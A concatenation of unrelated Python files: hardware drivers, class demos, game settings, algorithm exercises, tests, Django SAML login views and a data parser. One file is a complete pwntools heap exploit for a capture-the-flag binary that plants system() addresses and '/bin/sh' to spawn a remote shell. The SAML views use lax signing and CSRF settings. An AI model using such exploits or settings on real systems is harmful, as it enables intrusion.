from gpiozero import LED
import time

#%%   GPIO setup
enable = LED(17)
direc = LED(23)
step = LED(24)
MS1 = LED(5)
MS2 = LED(6)

#%%
class motor:
    def __init__(self):
        self.enable = enable
        self.direc = direc
        self.step = step
        self.MS1 = MS1
        self.MS2 = MS2

        self.stepdelay = 0.001
        self.MS1.off()
        self.MS2.on()

    def move(self,steps,direc):
        if direc == 0:
            self.direc.on()
        else:
            self.direc.off()
        self.enable.off()

        for i in range(steps):
            self.step.on()
            time.sleep(self.stepdelay)
            step.off()
            time.sleep(self.stepdelay)

        self.enable.on()

#%%  test settings


#coding=gbk
import time
from abc import ABCMeta, abstractclassmethod, abstractmethod
class A:
    def __init__(self, a, b):
        self.a = a
        self.b = b

    def print_info(self):
        print('传入的参数a:[%s]' % self.a)
        print('传入的参数b:[%s]' % self.b)

    def foo(self):
        print('type测试打印')
        print(type(self.a))
        print(type(self.b))

        if (isinstance(self.a, int) or isinstance(self.a, float)) and(isinstance(self.b, int) or isinstance(self.b, float)):
            return self.a * self.b
        elif isinstance(self.a, str) and isinstance(self.b, int):
            ret = '[%s]是字符串，[%d]是整形' % (self.a, self.b)
            return ret
        elif isinstance(self.a, str) and isinstance(self.b, str):
            ret = '[%s],[%s]都是字符串' % (self.a, self.b)
            return ret
        else:
            ret = '不知道是什么鬼'
            return ret

class B:
    def __init__(self, a, b):
        self.a = a
        self.b = b

    def foo2(self):
        s = A(self.a, self.b)
        print(s.print_info())
        print(s.foo())

class C:
    def __init__(self, a, b):
        self.a = a
        self.b = b
        self.A = A(self.a, self.b)

    def fooC(self):
        self.A.print_info()

        if isinstance(self.A.foo(), int):
            return 'OK'
        else:
            return 'NOT OK'
class E:
    @abstractmethod
    def tool(self):
        pass

class D(E):
    def fooD(self):
        inp1 = input('>>>>inp1:')
        inp2 = input('>>>>inp2:')

        day = time.ctime()
        res = A(inp1, inp2)
        return day, res

class E(D):
    pass

class F(metaclass=ABCMeta):
    @abstractclassmethod
    def func1(self):
        pass
class Alipay:
    def pay(self):
        print('123')

if __name__ == '__main__':
    # t = B('huangchao', 12)
    # t.foo2()

    # t2 = C(1, 2)
    # print(t2.fooC())

    t3 = D()
    c, d = t3.fooD()
    print(c)
    print(d.foo())
    print(E.__base__)


mode30 = False
mode500 = False
#phisycs = False
mode = True

ScreenX = 272
ScreenY = 272
ScreenXY = [ScreenX, ScreenY]

middlex, middley, = ScreenX/2, ScreenY/2
middle = [middlex, middley]

upscale = 3

FScreenX = ScreenX * upscale
FScreenY = ScreenY * upscale
FScreenXY = [FScreenX, FScreenY]

Fmiddlex, Fmiddley, = FScreenX/2, FScreenY/2
Fmiddle = [Fmiddlex, Fmiddley]

mapSizeX, mapSizeY = 16, 16
mapSize = [mapSizeX, mapSizeY]

FPS = 60
if mode30:
    FPS = 30
if mode500:
    FPS = 1000

U = L = -1
D = R = 1

'colours'
CLEAR = (0, 0, 0, 0)
BLACK = (0, 0, 0)
GRAY = (150, 150, 150)
WHITE = (255, 255, 255)
RED = (255, 0, 0)
GREEN = (0, 255, 0)
BLUE = (0, 0, 255)
YELLOW = (255, 255, 0)
CUSTOM = (102, 101, 111)
CUSTOM2 = (50, 0, 25)
#KEY = (1, 255, 1)
#KEY = (184, 103, 95)

KEY = (255, 255, 254)
CRED = (184, 103, 95)

i = 16
tilemap = [["LU", [0, 0]],
           ["RU", [0, i*2]],
           ["LD", [i*2, 0]],
           ["RD", [i*2, i*2]],
           ["L", [i, 0]],
           ["R", [i, i*2]],
           ["U", [0, i]],
           ["D", [i*2, i]],
           ["LR", [i, i*3]],
           ["UD", [0, i*5]],
           ["LRU", [0, i*3]],
           ["LRD", [i*2, i*3]],
           ["LUD", [0, i*4]],
           ["RUD", [0, i*6]],
           ["LRUD", [i, i]],
           ["Breakable", [i, i*4]],
           ]
tilemapdeco = [["U deco", [0, i]],       #0 chain 1
               ["U deco", [0, 0]],       #1 chain 2
               ["U2 deco",[0, i*2]],        #2
               ["U2 deco",[0, i*3]],        #3
               ["X",      [i, 0]],      #4
               ["D deco", [i*2, i]],    #5
               ["LR deco",[i*2, 0]],    #6
               ["U2 grass",[i*3, 0]],       #7 grass 1
               ["U2 grass",[i*3, i]],       #8 grass 2
               ["L grass", [i*5, 0]],    #9 grass
               ["R grass", [i*5, i]],    #10 grass
               ["U grass", [i*5, i*2]],  #11 grass
               ["D grass", [i*5, i*3]],  #12 grass
               ]

'''
if phisycs:
    max_speed = 5
    acceleration = .2
    friction = 1.2
    gravity = 5

    if mode30:
        max_speed *= 2
        acceleration *= 2
        gravity *= 2
'''

salas = []
for sala in open("../Salas/maplist.txt", 'r'): salas.append(sala[:-1])

def way(direction):
    def Xdir(direction):
        at = 0
        for letter in direction:
            if "L" in letter: at += -1
            if "R" in letter: at += 1
            print(at)
        return at
    def Ydir(direction):
        at = 0
        for letter in direction:
            if "U" in letter: at += -1
            if "D" in letter: at += 1
            print(at)
        return at

    if (("U" or "D") and ("R" or "L")) in direction:
        return [Xdir(direction)][Ydir(direction)]
    elif ("L" or "R") in direction:
        return Xdir(direction)
    elif ("U" or "D") in direction:
        return Ydir(direction)
def getSize(sala):
    '''
    if ScreenX >= ScreenY:
        if len(sala[0]) > len(sala):
            size = int(ScreenX / len(sala[0]))
        else:
            size = int(ScreenY / len(sala))
    else:
        if len(sala) > len(sala[0]):
            size = int(ScreenY / len(sala))
        else:
            size = int(ScreenX / len(sala[0]))
            '''
    return 16
def getOffset(obj, size, type):
    if "sala" in type:
        offsetX = int((ScreenX / 2) - ((len(obj[0]) * size) / 2))
        offsetY = int((ScreenY / 2) - ((len(obj) * size) / 2))

        #offsetX = 0
        #offsetY = 0
        offsets = [offsetX, offsetY]
    else:
        offsetX = obj[0] / 2
        offsetY = obj[1] / 2
        offsets = [offsetX, offsetY]
    return offsets
def openSala(salaTXT):
    sala = []
    temp2 = "normal"
    read = False
    if "_" in salaTXT:
        temp2 = salaTXT[-5:]
        salaTXT = salaTXT[:-5]
    if "mod" in salaTXT:
        temp2 = salaTXT[-8:]
        salaTXT = salaTXT[:-8]
    salaTXT += ".txt"

    temp = open(salaTXT, 'r')
    while True:
        tiles = temp.readline()
        if read:
            if "X" in tiles:
                temp.close

                print(sala)
                for i in range(len(sala)):
                    sala[i] = sala[i].replace(" ", "")

                    sala[i] = sala[i].replace(".", "0")
                    print(i)
                return sala
            sala.append(tiles[:-1])
        if temp2 in tiles:
            read = True

Playable/full builds/1.4 explorable map build/Game/Corak/dicio.py


import numpy as np
class Solution:
    def findClosestElements(self, arr, k: int, x: int):
        arr = np.array(arr)
        index = arr.searchsorted(x)

        p1 = index - 1
        p2 = index
        if p1 <= 0:
            return arr[:k]
        elif p2 >= len(arr):
            return arr[-k:]

        closest = []

        for i in range(k):
            if p1 < 0 and p2 < len(arr):
                closest.append(arr[p2])
                p2 += 1
            elif p1 >= 0 and p2 >= len(arr):
                closest.append(arr[p1])
                p1 -= 1
            else:
                diff1 = abs(arr[p1] - x)
                diff2 = abs(arr[p2] - x)
                print('append', diff1, diff2)
                closest.append(arr[p1] if diff1 <= diff2 else arr[p2])
                if diff1<=diff2:
                    p1 -= 1
                else:
                    p2 += 1
        return sorted(closest)

s = Solution()
arr = [1,2,3,4,5,6,10]
k = 4
x = 10

print(s.findClosestElements(arr, k, x))
'''
very easy, easily solved by using double pointers
'''

top k ele/658. Find K Closest Elements.py


import chainer
from chainer import Variable, cuda
import numpy as np
import os
from common.utils.save_images import save_images_grid

def _sample_generation(gen_g, gen_f, dataset, eval_folder, batch_size, random, indices, trigger, count):
    if not os.path.exists(eval_folder):
        os.makedirs(eval_folder)

    xp = gen_f.xp

    if random:
        datasize_A = dataset.len_A
        datasize_B = dataset.len_B
        indices_A = np.random.choice(datasize_A, batch_size, replace=False)
        indices_B = np.random.choice(datasize_B, batch_size, replace=False)
    else:
        indices_A = indices[0]
        indices_B = indices[1]
    batches_A = [xp.asarray(dataset.get_example_raw_A(i)) for i in indices_A]
    batches_B = [xp.asarray(dataset.get_example_raw_B(i)) for i in indices_B]

    x = xp.stack(batches_A)
    y = xp.stack(batches_B)

    x = Variable(x)
    y = Variable(y)

    with chainer.using_config('train', False), chainer.using_config('enable_backprop', False):
        x_y = gen_g(x)
        y_x = gen_f(y)
        x_y_x = gen_f(x_y)
        y_x_y = gen_g(y_x)

    imgs = xp.concatenate((x.data, x_y.data, x_y_x.data, y.data, y_x.data, y_x_y.data), axis=0)

    if trigger == 'iteration':
        prefix = 'iter_'
    elif trigger == 'epoch':
        prefix = 'epoch_'
    filename = prefix + str(count) + ".jpg"

    save_images_grid(imgs, path=os.path.join(eval_folder, filename))

def visualization(gen_g, gen_f, dataset, eval_folder=".", batch_size=1, random = True, indices = None):
    @chainer.training.make_extension()
    def samples_generation(trainer):
        trigger = 'iteration'
        count = getattr(trainer.updater, trigger)
        _sample_generation(gen_g, gen_f, dataset, eval_folder, batch_size, random, indices, trigger, count)

    return samples_generation


add_library('peasycam')

res = 50 #try 20 with points high strokeWeight and point(x,y,z) #CREATES REALLY COOL EFFECT
r = float(200)

cam = 0

globe = []

def setup():
    global cam
    global globe

    size(600, 600, P3D)
    colorMode(HSB)
    cam = PeasyCam(this, 500)

    for i in range(res+1):
        globe.append([])
        for j in range(res+1):
            globe[i].append(0)

def draw():
    global globe

    noStroke()
    background(0)
    lights()

    for i in range(res+1):
        lat = map(i, 0, res, 0, PI)
        for j in range(res+1):
            lon = map(j, 0, res, 0, TWO_PI)

            x = r * sin(lat) * cos(lon)
            y = r * sin(lat) * sin(lon)
            z = r * cos(lat)

            globe[i][j] = PVector(x,y,z)

    for i in range(res):
        hu = map(i,0,res,0,255*6)
        fill(hu%255,255,255)

        beginShape(TRIANGLE_STRIP)
        for j in range(res+1):
            v1 = globe[i][j]
            v2 = globe[i+1][j]

            vertex(v1.x,v1.y,v1.z)
            vertex(v2.x,v2.y,v2.z)

        endShape()


#!/usr/bin/env python2

from pwn import *

###

if len(sys.argv) > 1:
    DEBUG = False
else:
    DEBUG = True

b = ELF('heapboard')
context.log_level = 'info'

###

if DEBUG:
    r = process('./heapboard')
else:
    r = remote('heapboard.thcon.party', 5555)

def menu():
    global r
    r.recvuntil('> ', timeout=0.5)

def add(author, title, content):
    global r
    r.sendline('1')
    r.recvuntil('Author: ')
    r.sendline(author)
    r.recvuntil('Title: ')
    r.sendline(title)
    r.recvuntil('Content: ')
    r.sendline(content)
    menu()

def comment(com):
    global r
    r.sendline('1')
    r.recvuntil('Comment: ', timeout=0.5)
    r.sendline(com)
    menu()

menu()
add('toto', 'titi', 'tutu')
add(p32(b.symbols['system']) * 10, p32(b.symbols['system']) * 10, p32(b.symbols['system']) * 5000)
add('toto', 'titi', p32(b.symbols['system']) * 5000)
add('toto', 'titi', 'tutu')
r.sendline('2') # we want to delete some thread
menu()
r.sendline('2') # delete thread
menu()
r.sendline('3') # delete thread
menu()
# now increasing comment
r.sendline('2')
menu()
r.sendline('3') # choosing the thread to edit
menu()
comment('/bin/sh')

for x in xrange(0x7f):
    log.info(x)
    r.sendline('2')
    menu()
    r.sendline('3') # choosing the thread to edit
    menu()
    comment('\x00')

GDB = True
if GDB and DEBUG:
    gdb.attach(r, '''b *0x08048904''')
r.sendline('2')
menu()
r.sendline('3')
menu()
r.sendline('3')
r.interactive()


import os
import sys
import pytest
from unittest.mock import MagicMock, call
sys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__))) + "/../python")
import python.infotiv_launcher
from python.infotiv_launcher import RotationCMD

@pytest.fixture()
def launcher():
    print('\n*********Start*********')
    launcher = python.infotiv_launcher.Launcher()
    launcher.rc = MagicMock()
    yield launcher
    print('\n**********End**********')

# ---------------------------------------------------------------------------------
# -------------------------set_rotation_position-----------------------------------
# ---------------------------------------------------------------------------------
def test_encoders_ready_check_encoders_not_ready(launcher):
    # GIVEN
    launcher.encoders_ready = 0

    # WHEN
    return_value = launcher.encoder_ready_check()

    # THEN
    assert return_value == 0

def test_set_rotation_position_encoders_not_ready(launcher):
    # GIVEN
    with pytest.raises(Exception) as err:
        launcher.encoders_ready = 0
    # WHEN
        launcher.set_rotation_position(1)
    # THEN
    assert err.match('Encoder Not Ready')

@pytest.mark.parametrize("invalid_data", [(-1), 131])
def test_set_rotation_position_invalid_data_type_error(launcher, invalid_data):
    # GIVEN
    with pytest.raises(Exception, match='out of bounds') as err:
        launcher.encoders_ready = 1
    # WHEN
        launcher.set_rotation_position(invalid_data)
    # THEN
    assert err.type is ValueError

def test_set_rotation_position_zero_increment_negative(launcher):
    # GIVEN
    launcher.encoders_ready = 1
    launcher.rc.ReadEncM2.return_value = (1, 2, 2)

    # WHEN
    launcher.set_rotation_position(0)

    # THEN
    calls = [call(launcher.address, -launcher.rotation_speed_pulses, 2, 1), call(launcher.address, 0, 0, 0)]
    launcher.rc.SpeedDistanceM2.assert_has_calls(calls)
    assert launcher.rc.SpeedDistanceM2.call_count == 2

def test_set_rotation_position_higher_than_zero_increment_positive(launcher):
    # GIVEN
    launcher.encoders_ready = 1
    launcher.rc.ReadEncM2.return_value = (1, 4, 2)

    # WHEN
    launcher.set_rotation_position(1)

    # THEN
    calls = [call(launcher.address, launcher.rotation_speed_pulses, 2634, 1), call(launcher.address, 0, 0, 0)]
    launcher.rc.SpeedDistanceM2.assert_has_calls(calls)
    assert launcher.rc.SpeedDistanceM2.call_count == 2

def test_set_rotation_position_max_increment_positive(launcher):
    # GIVEN
    launcher.encoders_ready = 1
    launcher.rc.ReadEncM2.return_value = (1, -1.5, 2)

    # WHEN
    launcher.set_rotation_position(130)

    # THEN
    calls = [call(launcher.address, launcher.rotation_speed_pulses, 343056.5, 1), call(launcher.address, 0, 0, 0)]
    launcher.rc.SpeedDistanceM2.assert_has_calls(calls)
    assert launcher.rc.SpeedDistanceM2.call_count == 2

# ---------------------------------------------------------------------------------
# -------------------------rotation_control----------------------------------------
# ---------------------------------------------------------------------------------
def test_rotation_control_right(launcher):
    # GIVEN
    launcher.rc = MagicMock()
    # WHEN
    launcher.rotation_control(RotationCMD(1))
    # THEN
    launcher.rc.ForwardM1.assert_called_with(launcher.address_2, launcher.rotation_speed_manual)
    launcher.rc.ForwardM2.assert_called_with(launcher.address_2, launcher.rotation_speed_manual)
    launcher.rc.BackwardM1.assert_not_called()

def test_rotation_control_left(launcher):
    # GIVEN
    launcher.rc = MagicMock()
    # WHEN
    launcher.rotation_control(RotationCMD(2))
    # THEN
    launcher.rc.BackwardM1.assert_called_with(launcher.address_2, launcher.rotation_speed_manual)
    launcher.rc.BackwardM2.assert_called_with(launcher.address_2, launcher.rotation_speed_manual)
    launcher.rc.ForwardM1.assert_not_called()

def test_rotation_control_stop(launcher):
    # GIVEN
    launcher.rc = MagicMock()
    # WHEN
    launcher.rotation_control(RotationCMD(3))
    # THEN
    launcher.rc.ForwardM1.assert_called_with(launcher.address_2, 0)
    launcher.rc.ForwardM2.assert_called_with(launcher.address_2, 0)
    launcher.rc.BackwardM1.assert_not_called()


from django.conf.urls import url
from . import views
# from django.contrib import admin

urlpatterns = [
    url(r'^$', views.index, name='homepage'),
    url(r'^process$', views.process),
    url(r'^login$', views.login),
    url(r'^logout$', views.logout, name='logout'),
]


#コサイン類似度
#1に近い値になった2つのベクトルが似ている
import numpy as np

a = np.asarray([2, 0, 1, 0, 1])
b = np.asarray([1, 1, 1, 0, 1])
c = np.asarray([1, 1, 1, 1, 0])

#ユークリッド距離計算
norm_a = np.linalg.norm(a)
norm_b = np.linalg.norm(b)
norm_c = np.linalg.norm(c)

#内積計算
dot_ab = np.dot(a, b)
dot_bc = np.dot(b, c)
dot_ca = np.dot(c, a)

#テスト出力
print(dot_ab / (norm_a * norm_b))
print(dot_bc / (norm_b * norm_c))
print(dot_ca / (norm_c * norm_a))


from PIL import Image
from winsound import Beep
import numpy as np
import sounddevice as sd

def compile_sounds(width:int, h_curve:list, img):
    """
        Given the length of one of the sides in a square image
        assign a frequency based on RGBA value.

        Then it adds them all together.

        Intuitively, I think it makes sense that the brighter
        colors have a higher freqency and so forth.

        The frequency is louder the higher the transparency.
    """

    """
        First we need a mapping of RGB values to frequencies
        RGB values go from 0x000000 (cooler)
        to 0xFFFFFF (warmer).

        winsound's Beep takes frequencys 37 hertz through 32,767 hertz
        This is only 0x7fda values
    """
    #define the range that winsound takes:
    min_hertz = 37
    max_hertz = 32767

    #try to evenly map out the smaller frequency lane to the color space of RBG
    colors = np.zeros((256,256,256), dtype = np.int32)
    for red in range(256):
        for green in range(256):
            for blue in range(256):
                #log scale of mapping frequency
                freq = np.exp( (np.log(max_hertz) - np.log(min_hertz))
                                    / 16777215 * (red * 65536 + green * 256 + blue)
                                    + np.log(min_hertz) )
                colors[red, green, blue] = int(freq)

    sounds = []
    area = width * width
    for pixel_index in range(area):
        pixel_coords = h_curve[pixel_index]
        rgba_val = img.getpixel(pixel_coords)
        red_ = rgba_val[0]
        green_ = rgba_val[1]
        blue_ = rgba_val[2]
        pixel_freq = colors[red_, green_, blue_]
        sounds.append(pixel_freq)

    play_multiple_freq_at_once(freqs=sounds,duration=1.0)

def play_multiple_freq_at_once(freqs:list, duration=1.0):
    """
        Given a list of freqencies to play and a duration,
        play the frequencies at once using math
        to calculate and summate their sinwaves in the air.
    """
    #The sound duration will be one second by default

    #This creates a time array which corresponds to the duration of the sinwave
    time = np.arange(int(44100 * duration)) / 44100

    #We need to add together the sinwaves of each frequency to play them at once.
    #This will hold our sinwaves:
    sounds = []
    for freq in freqs:
        #calculate the sinwave:
        wave = np.sin(2*np.pi * freq * time)
        sounds.append(wave)

    #add together the sinwaves now:
    comosite_sinwave = np.sum(sounds, axis = 0)
    #This normalizes the composite_sinwave as a range in [-1, 1]
    comosite_sinwave /= np.max(np.abs(comosite_sinwave))

    #Finally, play the composite wave:
    sd.play(comosite_sinwave, samplerate=44100, blocking=True)


'''
1.6.8
25
Australian Voting
PC/UVa IDs: 110108/10142, Popularity: B, Success rate: low Level: 1
'''
import collections

def getWinner(voters, n):
    for aRound in range(n):
        currentVote = []
        for voter in voters:
            currentVote.append(voter[0])

        result = collections.Counter(currentVote)

        # winner
        for i in result:
            if result[i] > len(voters) / 2:
                return i

        # loser
        losers = set()
        minVotes = len(voters)
        for i in result:
            if result[i] < minVotes:
                minVotes = result[i]

        for i in result:
            if result[i] == minVotes:
                losers.add(i)

        for voter in voters:
            if voter[0] in losers:
                del voter[0]

if __name__ == '__main__':

    f = open('input.txt')

    numOfTests = int(f.readline())
    f.readline()
    for i in range(numOfTests):
        n = int(f.readline())
        names = []
        for j in range(n):
            names.append(f.readline().strip())

        voters = []
        while True:
            line = f.readline()
            if line =='':
                break
            voters.append([int(x) for x in line.split()])

        winner = getWinner(voters, n)
        print(names[winner - 1])

10142 - Australian Voting/austrilianBallot.py


"""Steidel+2010 Table 4: Absorption Line Strengths at z_fg in Galaxy Pairs.

DOI: 10.1088/0004-637X/717/1/289

Only corrected values are kept for fg samples.
"""
import re

from astropy.table import Table
import matplotlib.pyplot as plt
import numpy as np
import requests

from toolbox.env import root

url = 'http://iopscience.iop.org/0004-637X/717/1/289/suppdata/apj348432t4_ascii.txt'
path = root / 'data/ref/steidel_2010.ecsv'

def _rm_fn_mark(s):
    return re.sub('\^[a-z]', '', s)

def _parse_num(s):
    if s.startswith('<'):
        val = float(s[1:])
        err = np.nan
        uplim = True
    else:
        s = _rm_fn_mark(s)
        s = s.strip('()')
        val = float(s.split()[0])
        err = float(s.split()[-1])
        uplim = False
    return val, err, uplim

def make():
    """Make an easily loadable local copy from the online ASCII table."""
    r = requests.get(url)
    for line in r.text.split('\n'):
        tokens = line.strip().split('\t')
        parse_row = False
        # Initialize table with columns
        if tokens[0] == 'Sample':
            # Read column names
            names = line.strip().split('\t')
            names[1] = 'b'
            names = [_rm_fn_mark(name) for name in names]
            n_lines = len(names) - 2
            # Expand line names into three parts
            line_names = names[2:]
            names = names[:2]
            for name in line_names:
                names += [name, name + ' err', name + ' uplim']
            dtype = [object, float] + [float, float, bool] * n_lines
            table = Table(names=names, dtype=dtype)
            # Assign column units
            for cn in table.colnames:
                if cn == 'Sample':
                    continue
                if cn == 'b':
                    table[cn].unit = 'kpc'
                elif 'uplim' not in cn:
                    table[cn].unit = 'AA'
        # Mark rows to parse
        if 'fg' in tokens[0]:
            # Skip the rows with uncorrescted values
            sample = tokens[0]
        if tokens[0] == '0^c':
            tokens = [sample] + tokens
            parse_row = True
        if 'bg' in tokens[0]:
            parse_row = True
        # Parse row
        if parse_row:
            row = [tokens[0], float(_rm_fn_mark(tokens[1]))]
            for ew in tokens[2:]:
                row += list(_parse_num(ew))
            table.add_row(row)
    table.meta['code'] = 'toolbox.data.steidel_2010'
    table.write(path, overwrite=True)

def load():
    """Load the table from local path."""
    return Table.read(path)

def plot(line, x0=2, uplim_err=0.02, ax=None, **kwargs):
    if ax is None:
        ax = plt.gca()
    table = load()
    x = table['b']
    order = x.argsort()
    x = x[order]
    x[:3] = x0
    y = table[line][order]
    yerr = table[line + ' err'][order]
    uplims = table[line + ' uplim'][order]
    yerr[uplims] = uplim_err
    return ax.errorbar(x, y, yerr=yerr, uplims=uplims, **kwargs)


# -*- coding: utf-8 -*-
"""
Created on Fri Oct 12 18:26:04 2018

@author: russo
"""

somme = 0
durée = 0
duréeMax = 0
for i in range(1,2014):
    i = str(i)
    diff = True
    for chiffre in i:
        if i.count(chiffre) > 1:
            diff = False
    durée += 1
    if diff:
        somme += 1
        if durée > duréeMax:
            duréeMax = durée
        durée = 0

print(somme*duréeMax)


from sprinkler import Sprinkler, SprinklerSystem

def test_import_sprinkler():
    assert Sprinkler

def test_import_sprinkler_system():
    assert SprinklerSystem

def test_get_usage():
    system = SprinklerSystem()
    a = Sprinkler()
    b = Sprinkler()
    c = Sprinkler()
    d = Sprinkler(5)
    system.inlet = a
    system.inlet.left_line = b
    system.inlet.right_line = c
    system.inlet.left_line.left_line = d
    actual = system.get_usage()
    expected = 11
    assert actual == expected

def test_get_usage_with_default():
    system = SprinklerSystem()
    a = Sprinkler()
    b = Sprinkler()
    c = Sprinkler()
    d = Sprinkler()
    system.inlet = a
    system.inlet.left_line = b
    system.inlet.right_line = c
    system.inlet.left_line.left_line = d
    actual = system.get_usage()
    expected = 8
    assert actual == expected

def test_get_usage_with_no_default():
    system = SprinklerSystem()
    a = Sprinkler(1)
    b = Sprinkler(2)
    c = Sprinkler(3)
    d = Sprinkler(4)
    system.inlet = a
    system.inlet.left_line = b
    system.inlet.right_line = c
    system.inlet.left_line.left_line = d
    actual = system.get_usage()
    expected = 10
    assert actual == expected


#!/usr/bin/env python
# -*- coding:utf-8 -*-

import urllib2
from saml2 import (
    BINDING_HTTP_POST,
    BINDING_HTTP_REDIRECT,
    entity,
)
from saml2.client import Saml2Client
from saml2.config import Config as Saml2Config

from django.conf import settings
from django.core.urlresolvers import reverse
from django.contrib.auth.models import (User, Group)
from django.contrib.auth.decorators import login_required
from django.contrib.auth import login, logout
from django.shortcuts import render
from django.views.decorators.csrf import csrf_exempt
from django.template import TemplateDoesNotExist
from django.http import HttpResponseRedirect
from django.utils.module_loading import import_string

def get_current_domain(r):
    return '{scheme}://{host}'.format(
        scheme=r.scheme,
        host=r.get_host(),
    )

def _get_saml_client(domain):
    acs_url = domain + reverse('acs')
    import tempfile
    tmp = tempfile.NamedTemporaryFile()
    f = open(tmp.name, 'w')
    f.write(urllib2.urlopen(settings.SAML2_AUTH['METADATA_AUTO_CONF_URL']).read())
    f.close()
    saml_settings = {
        'metadata': {
            "local": [tmp.name],
        },
        'service': {
            'sp': {
                'endpoints': {
                    'assertion_consumer_service': [
                        (acs_url, BINDING_HTTP_REDIRECT),
                        (acs_url, BINDING_HTTP_POST)
                    ],
                },
                'allow_unsolicited': True,
                'authn_requests_signed': False,
                'logout_requests_signed': True,
                'want_assertions_signed': True,
                'want_response_signed': False,
            },
        },
    }

    spConfig = Saml2Config()
    spConfig.load(saml_settings)
    spConfig.allow_unknown_attributes = True
    saml_client = Saml2Client(config=spConfig)
    tmp.close()
    return saml_client

@login_required
def welcome(r):
    try:
        return render(r, 'django_saml2_auth/welcome.html', context={'user': r.user})
    except TemplateDoesNotExist:
        return HttpResponseRedirect(reverse('admin:index'))

def denied(r):
    return render(r, 'django_saml2_auth/denied.html')

def _create_new_user(username, email, firstname, lastname):
    user = User.objects.create_user(username, email)
    user.first_name = firstname
    user.last_name = lastname
    user.groups = [Group.objects.get(name=x) for x in settings.SAML2_AUTH.get('NEW_USER_PROFILE', {}).get('USER_GROUPS', [])]
    user.is_active = settings.SAML2_AUTH.get('NEW_USER_PROFILE', {}).get('ACTIVE_STATUS', True)
    user.is_staff = settings.SAML2_AUTH.get('NEW_USER_PROFILE', {}).get('STAFF_STATUS', True)
    user.is_superuser = settings.SAML2_AUTH.get('NEW_USER_PROFILE', {}).get('SUPERUSER_STATUS', False)
    user.save()
    return user

@csrf_exempt
def acs(r):
    saml_client = _get_saml_client(get_current_domain(r))
    resp = r.POST.get('SAMLResponse', None)
    next_url = r.session.get('login_next_url', reverse('admin:index'))

    if not resp:
        return HttpResponseRedirect(reverse('denied'))

    authn_response = saml_client.parse_authn_request_response(
        resp, entity.BINDING_HTTP_POST)
    if authn_response is None:
        return HttpResponseRedirect(reverse('denied'))

    user_identity = authn_response.get_identity()
    if user_identity is None:
        return HttpResponseRedirect(reverse('denied'))

    user_email = user_identity[settings.SAML2_AUTH.get('ATTRIBUTES_MAP', {}).get('email', 'Email')][0]
    user_name = user_identity[settings.SAML2_AUTH.get('ATTRIBUTES_MAP', {}).get('username', 'UserName')][0]
    user_first_name = user_identity[settings.SAML2_AUTH.get('ATTRIBUTES_MAP', {}).get('first_name', 'FirstName')][0]
    user_last_name = user_identity[settings.SAML2_AUTH.get('ATTRIBUTES_MAP', {}).get('last_name', 'LastName')][0]

    target_user = None
    is_new_user = False

    try:
        target_user = User.objects.get(username=user_name)
        if settings.SAML2_AUTH.get('TRIGGER', {}).get('BEFORE_LOGIN', None):
            import_string(settings.SAML2_AUTH['TRIGGER']['BEFORE_LOGIN'])(user_identity)
    except User.DoesNotExist:
        target_user = _create_new_user(user_name, user_email, user_first_name, user_last_name)
        if settings.SAML2_AUTH.get('TRIGGER', {}).get('CREATE_USER', None):
            import_string(settings.SAML2_AUTH['TRIGGER']['CREATE_USER'])(user_identity)
        is_new_user = True

    r.session.flush()

    if target_user.is_active:
        target_user.backend = 'django.contrib.auth.backends.ModelBackend'
        login(r, target_user)
    else:
        return HttpResponseRedirect(reverse('denied'))

    if is_new_user:
        try:
            return render(r, 'django_saml2_auth/welcome.html', context={'user': r.user})
        except TemplateDoesNotExist:
            return HttpResponseRedirect(next_url)
    else:
        return HttpResponseRedirect(next_url)

def signin(r):
    import urlparse
    from urllib import unquote
    next_url = r.GET.get('next', reverse('admin:index'))

    try:
        if "next=" in unquote(next_url):
            next_url = urlparse.parse_qs(urlparse.urlparse(unquote(next_url)).query)['next'][0]
    except:
        next_url = r.GET.get('next', reverse('admin:index'))

    r.session['login_next_url'] = next_url

    saml_client = _get_saml_client(get_current_domain(r))
    _, info = saml_client.prepare_for_authenticate()

    redirect_url = None

    for key, value in info['headers']:
        if key == 'Location':
            redirect_url = value
            break

    return HttpResponseRedirect(redirect_url)

def signout(r):
    logout(r)
    return render(r, 'django_saml2_auth/signout.html')


from enum import Enum
from tkinter import VERTICAL

from model.display import Dimens, Colors
from widget.inflater import Inflater
from widget.layout import LinearLayout

class Tab(Enum):

    @property
    def image(self):
        return self.value.get('image')

    @property
    def label(self):
        return self.value.get('label')

    @property
    def view(self):
        return self.value.get('view')

class TabWidget(LinearLayout):
    def __init__(self, parent, orientation=VERTICAL):
        LinearLayout.__init__(self, parent, orientation)
        self._tabs = {}
        self._active_tab = None
        self._content = None
        self._btn_config = {
            'width': 10,
            'height': 2,
            'anchor': 'w' if orientation == VERTICAL else 'center',
            'padx': Dimens.SPACE_BIG,
            'bd': 0
        }
        self._separator = None
        if orientation == VERTICAL:
            self.columnconfigure(2, weight=1)
        else:
            self.rowconfigure(2, weight=1)

    def add(self, tab: Tab):
        self._tabs[tab] = Inflater.button(self, tab.label, lambda t=tab: self.switch(t), **self._btn_config)
        LinearLayout.add(self, self._tabs[tab])
        size = len(self._tabs)
        if size and self._orientation == VERTICAL:
            self.rowconfigure(size - 1, weight=0)
            self.rowconfigure(size, weight=1)
        elif size:
            self.columnconfigure(size - 1, weight=0)
            self.columnconfigure(size, weight=1)
        self._update_separator()

    def switch(self, tab):
        if self._active_tab:
            self._tabs[self._active_tab]['bg'] = Colors.BG_PRIMARY
        if self._content:
            self._content.destroy()
        self._active_tab = tab
        self._tabs[tab]['bg'] = Colors.BG_DARK
        self._content = tab.view(self)
        if self._orientation == VERTICAL:
            self._content.grid(row=0, column=2, rowspan=len(self._tabs) + 1, sticky='nswe')
        else:
            self._content.grid(row=2, column=0, columnspan=len(self._tabs) + 1, sticky='nswe')

    def _update_separator(self):
        if self._separator:
            self._separator.destroy()
        self._separator = Inflater.separator(self, orientation=self._orientation)
        if self._orientation == VERTICAL:
            self._separator.grid(row=0, column=1, rowspan=len(self._tabs) + 1, sticky='ns')
        else:
            self._separator.grid(row=1, column=0, columnspan=len(self._tabs) + 1, sticky='we')


'''
Created on Jun 7, 2016

@author: leegc
'''
import sidekick.checks as checks
from sidekick.checks import error_messages
from sidekick.metadata import ActiveContainerMetadata
from sidekick.metadata import MessageGenerator
import shutil
import os
import logging
import json
import random
from tempfile import mkdtemp

DIV = "__***__"
PULL_TAG_KEY = "PULL_TAG"
UNTRUSTED_IMAGE="deleidos/de-schema-wizard-untrusted"
UNTRUSTED_IMAGE_KEY = "U_IMAGE"
UNTRUSTED_USER = 1111
